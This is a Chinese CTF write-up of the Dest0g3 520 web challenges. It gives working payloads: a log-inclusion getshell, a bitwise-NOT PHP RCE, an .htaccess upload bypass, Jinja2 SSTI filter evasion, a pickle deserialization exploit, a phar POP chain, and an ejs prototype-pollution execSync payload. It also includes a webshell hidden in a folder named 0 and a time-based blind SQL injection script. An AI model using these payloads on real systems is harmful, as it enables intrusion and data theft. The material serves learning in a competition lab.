Dest0g3 520迎新赛
只写了web,勉勉强强拿了总榜58名,web分榜11名这个尴尬的名次,前面的师傅太强了
phpdest
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}
文件包含题,因为使用的是require_once()
,所以不能直接读flag.php
;
没有phpinfo信息,session不考虑(buu平台我都不考虑条件竞争,这个题实际上有这个打法),两种临时文件包含不能用;
扫描日志文件,没有结果(字典刚好没有 ,排查了一天才发现)
走P神的裸文件包含,然而对特殊字符url转码了,不能用
看有很多人都做出来了,想着肯定是简单题,从头排查,反反复复,晚上才发现缺少的日志文件T^T
/var/log/nginx/access.log
包含日志文件getshell
EasyPHP
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?> Try harder!
看到set_error_handler()
,让程序出错就能获取flag,可以POST传值ctf
传入值会和字符串变量$fl4g
进行字符串拼接,所以post传参传入数组
POST:ctf[]=a
SimpleRCE
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
命令执行,过滤了很多,但是打眼一看,没有~
,眼睛一圈扫下来,没有过滤(
和)
还有%
,;
取反绕过命令执行,掏出yu22x师傅的博客
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
//system(cat /flag);
funny_upload
文件上传,有前端js过滤,绕过后随便上传一个文件,掏出字典fuzz过滤情况,发现可以上传.htaccess
文件,且有作用,出现了页面报错,服务器解析不能,上图片马加直接包含flag进行测试
POST / HTTP/1.1
Host: a28731fc-383f-49d3-aaaf-7f67181fb7c4.node4.buuoj.cn:81
Content-Length: 392
Cache-Control: max-age=0
Origin: http://a28731fc-383f-49d3-aaaf-7f67181fb7c4.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZX7SH3YhtkoquFXj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.53
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a28731fc-383f-49d3-aaaf-7f67181fb7c4.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,pt;q=0.5
Cookie: td_cookie=143531929
Connection: close
------WebKitFormBoundaryZX7SH3YhtkoquFXj
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/png
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64_decode/resource=/flag"
------WebKitFormBoundaryZX7SH3YhtkoquFXj
Content-Disposition: form-data; name="1"
提交
------WebKitFormBoundaryZX7SH3YhtkoquFXj--
访问图片马直接拿到flag,不用祭出蚁剑了
EasySSTI
进入后是一个登录页面
因为题目是EasySSTI
所以向测试一波SSTI
字符过滤了:[
,_
,'
,"
,空格
关键字过滤了:globals
,getitem
,os
,read
,popen
,pop
啥的
先确定基本payload(嫖网上Flask SSTI LAB攻略 | A.M.|P.M. (john-frod.github.io)的)
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()}}
使用dict(o=a,s=a)|join()
来拼接字符串
{{lipsum|attr("__globals__")|attr("__getitem__")(dict(o=a,s=a)|join())|attr(dict(po=a,pen=a)|join())(dict(who=a,ami=a)|join())|attr(dict(re=a,ad=a)|join())()}}
使用(lipsum|string|list)|attr('pop')(18)
来获取_
__globals__
((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(glo=a,bals=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join()
__getitem__
((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(ge=a,titem=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join()
ls /
((lipsum|string|list)|attr(dict(po=a,p=a)|join())(19),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(27),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(9),(config|string|list)|attr(dict(po=a,p=a)|join())(279))|join()
cat /flag
((lipsum|string|list)|attr(dict(po=a,p=a)|join())(4),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(15),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(5),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(9),(config|string|list)|attr(dict(po=a,p=a)|join())(279),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(1),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(19),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(15),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(10))|join()
换成如下
{{lipsum|attr(((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(glo=a,bals=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join())|attr(((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(ge=a,titem=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join())(dict(o=a,s=a)|join())|attr(dict(po=a,pen=a)|join())(dict(l=a,s=a)|join())|attr(dict(re=a,ad=a)|join())()}}
命令部分由成dict(l=a,s=a)|join()
替换成:ls /
对应的东西
在题目环境下(config|string|list)|attr(dict(po=a,p=a)|join())(279)
是/
{{lipsum|attr(((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(glo=a,bals=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join())|attr(((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(ge=a,titem=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join())(dict(o=a,s=a)|join())|attr(dict(po=a,pen=a)|join())(((lipsum|string|list)|attr(dict(po=a,p=a)|join())(4),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(15),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(5),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(9),(config|string|list)|attr(dict(po=a,p=a)|join())(279),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(1),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(19),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(15),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(10))|join())|attr(dict(re=a,ad=a)|join())()}}
middle
python反序列化题,第一次实际接触,exp如下
class payload(object):
def __reduce__(self):
return (config.backdoor, (["os.environ"],))
@app.route('/test', methods=['POST', 'GET'])
def test():
a = pickle.dumps(payload(),protocol=0)
a = base64.b64encode(a)
return a
#User = restricted_loads(base64.b64decode(data))
#return str(User)
不难,新手友好型,边查资料边测试
问题在于不能执行系统命令,查os的文档,发现有环境变量environ
,尝试看看,发现有flag
POST:data=Y2NvbmZpZwpiYWNrZG9vcgpwMAooKGxwMQpWb3MuZW52aXJvbgpwMgphdHAzClJwNAou
PharPOP
题目简单易懂,上传phar,使用原生类读取目录和文件,poc如下
tree::__destruct()===>tree::__call()
tree::__call()===>apple::__get()
appli::__get()===>air::__set()
$tree1 = new tree();
$tree1->act="SplFileObject";
$air = new air();
$air->p = $tree1;
$apple = new apple();
$apple->xxx = $air;
$apple->flag = "/fflaggg";
$tree2 = new tree();
$tree2->name = $apple;s
除了链子,还有三个过滤:
绕过throw
,throw会阻碍析构函数进行,通过gc垃圾回收提前触发析构函数;
绕过waf
,waf过滤了很多关键字,使用gzip
命令处理phar文件,压缩的妈都不认识;
绕过phar
,不能说是绕过phar,应该是手撕phar,原因在于绕过throw的操作:通过数组的重复赋值;,问题在于要改文件内容,而phar是有检验和的,所以直接改phar文件内容不行
找了一上午找到一位师傅的脚本,不用手撕phar
总结 - ctf中php的phar(一) - Morouu的大狗窝 ●’◡’● (morblog.cc)
这道题提醒我以后要尝试手撕常见文件格式,提高脚本编写能力
NodeSoEasy
ejs最经典,最常见的原型链污染RCE在3.1.7被禁了,因为题目附件只给了依赖包的信息和主页与模板的代码,所以应该说的是3.1.7中的原型链污染利用,下载3.1.8版本代码进行比对,可以发现,增加的部分都是用来防御原型链污染的,所以3.1.7必然存在另一处可以使用的rce;
上网查资料加调试,发现关于nodejs的ejs和jade模板引擎的原型链污染挖掘 - 安全客,安全资讯平台 (anquanke.com),
打断点调试ejs.js637行
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
ok,可以污染进去,套上逃逸
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');","compileDebug":true}}
ezip
和zip上传有关,在网上查文章,看书,试了各种可能的解法
搞了3天,一筹莫展,想着色图不好好看看有点可惜,看看色图,…
寄,还真是让看色图,图片末尾base64解密
upload.php:
<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
echo "hacker!!";
exit;
}
if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
echo "only zip!!";
exit;
}
$Myzip = new zip($_FILES['file']['name']);
mkdir($Myzip->path);
move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
echo "Try to unzip your zip to /".$Myzip->path."<br>";
if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}
zip.php:
<?php
class zip
{
public $zip_name;
public $path;
public $zip_manager;
public function __construct($zip_name){
$this->zip_manager = new ZipArchive();
$this->path = $this->gen_path();
$this->zip_name = $zip_name;
}
public function gen_path(){
$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$newchars=str_split($chars);
shuffle($newchars);
$chars_key=array_rand($newchars,15);
$fnstr = "";
for($i=0;$i<15;$i++){
$fnstr.=$newchars[$chars_key[$i]];
}
return md5($fnstr.time().microtime()*100000);
}
public function deldir($dir) {
//先删除目录下的文件:
$dh = opendir($dir);
while ($file = readdir($dh)) {
if($file != "." && $file!="..") {
$fullpath = $dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
$this->deldir($fullpath);
}
}
}
closedir($dh);
}
function dir_list($directory)
{
$array = [];
$dir = dir($directory);
while ($file = $dir->read()) {
if ($file !== '.' && $file !== '..') {
$array[] = $file;
}
}
return $array;
}
public function unzip()
{
$fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
$white_list = ['jpg','png','gif','bmp'];
$this->zip_manager->open($fullpath);
for ($i = 0;$i < $this->zip_manager->count();$i ++) {
if (strstr($this->zip_manager->getNameIndex($i),"../")){
echo "you bad bad";
return false;
}
}
if(!$this->zip_manager->extractTo($this->path)){
echo "Unzip to /".$this->path."/ failed";
exit;
}
@unlink($fullpath);
$file_list = $this->dir_list("/var/www/html/".$this->path."/");
for($i=0;$i<sizeof($file_list);$i++){
if(is_dir($this->path."/".$file_list[$i])){
echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
}
else{
if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
}
}
return true;
}
}
研究一会儿,最后不停翻开发手册,找到了可以逃过删除的地方
function dir_list($directory)
{
$array = [];
$dir = dir($directory);
while ($file = $dir->read()) {
if ($file !== '.' && $file !== '..') {
$array[] = $file;
}
}
return $array;
}
在手册中给出了read()
或者说readdir()
的推荐写法,用强比较来判定布尔值
另外还贴心的给出了弱比较下的问题,文件夹命名为0
在弱比较下是false
,写法不对会处理不到该文件夹,所以通过将木马藏在命名为0
的文件夹来躲避删除
上马访问,看到根目录下的flag,权限不足不能看,试了一遍网上找的方法,都不行,靶机里少了很多命令,最后心一横直接测试有没有root权限的命令可以多flag,把可以查看文件的命令都走一圈,看看有没有谁有权限,发现nl /flag
回显了flag
Really Easy SQL和easysql
Really Easy SQL
给了提示,是insert注入,黑名单如下
union
,updatexml
,order
,by
,substr
,空格,and
extractvalue
,;
,sleep
,join
,alter
,handler
,char
,+
,/
like
,regexp
,offset
,sleep
,case
,&
,-
,hex
,%0
,load
;
提示的注入类型,让我想了好一会儿,看到网页的标题(钓鱼网站),反应过来自己误导自己了,既然是搜集数据的,后端处理肯定是insert,根据后面的和钓鱼网站,推测出是时间盲注
经过一番测试,时间盲注测试出来了
username=a'or(benchmark(5000000,md5('test')))or'&password=a&submit=
这个题的过滤并不多,没啥难度,就直接把做题时的记录搬上来了
if
语句测试
a'or(if(length(database())>5,benchmark(1500000,md5('test')),1))or'
爆数据库:
目标 | 结果 | 语句 |
---|---|---|
长度 | 3 | a'or(if(length(database())>5,benchmark(1500000,md5('test')),1))or' |
名称 | ctf | a'or(if(ascii(mid(database(),1,1))>1,benchmark(1500000,md5('test')),1))or' |
爆表名
select(length(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')
select(count(table_name))from(information_schema.tables)where(table_schema='ctf')
ctf的表总数: 2个
sql:
a'or(if((select(count(table_name))from(information_schema.tables)where(table_schema='ctf'))>1,benchmark(1500000,md5('test')),1))or'
两个表的名称:flaggg
,user
length(group_concat(table_name))
长度为11
ascii(mid(group_concat(table_name),1,1))
sql:
a'or(if((select(ascii(mid(group_concat(table_name),1,1)))from(information_schema.tables)where(table_schema='ctf'))>1,benchmark(1500000,md5('test')),1))or'
爆flaggg表列名
count(column_name)
只有1列
length(group_concat(column_name))
长度为3
ascii(mid(group_concat(column_name),1,1))
cmd
select()from(information_schema.columns)where(table_schema='ctf')and(table_name='flaggg')
sql:
a'or(if((select(ascii(mid(group_concat(column_name),1,1)))from(information_schema.columns)where(table_name='flaggg'))>1,benchmark(1500000,md5('test')),1))or'
爆字段值
count(cmd) 1列
length(cmd) 45
ascii(mid(group_concat(cmd),1,1))
Dest0g3{8eb9db3c_0e53_4c11_a3ce_275adbb9f938}
sql:
a'or(if((select(ascii(mid(group_concat(cmd),1,1)))from(flaggg))>1,benchmark(1500000,md5('test')),1))or'
Dest0g3{ad438575-S6e5-4802-a8a9-791c16622083}
Dest0g3{ad438575-d6P5-4802-a8ae-791c16622083}
脚本
import requests
import time
url = 'http://2c43fc6c-2a78-439c-b63d-11b7d5aca5af.node4.buuoj.cn:81/'
payload_flag = "a'or(if((select(ascii(mid(group_concat(cmd),{},1)))from(flaggg))={},benchmark(6000000,md5('test')),1))or'"
flag = ''
for i in range(1,46):
for j in range(40,130):
time.sleep(0.1)
payload = payload_flag.format(i,j)
data = {"username": payload,"password": "a","submit":"a"}
starttime = time.time()
r=requests.post(url=url, data=data)
endtime = time.time()
#print(r.text)
if '429' in r.text :
time.sleep(0.5)
t = endtime - starttime
if t >= 3:
print("第"+str(i)+"位为"+chr(j))
flag += chr(j)
break
# else:
# print("第"+str(i)+"位不是"+chr(j))
print(flag)
跑了好多遍,比对着才把正确flag拿出来,时间盲注精度低了些,特别是这垃圾校园网还拖后腿
Easy SQL
上面的脚本可以通杀,考虑时间盲注的误差,直接多跑几遍
Dest0g3{6800b179-15c5-433a-8c1c-060da3b707dc}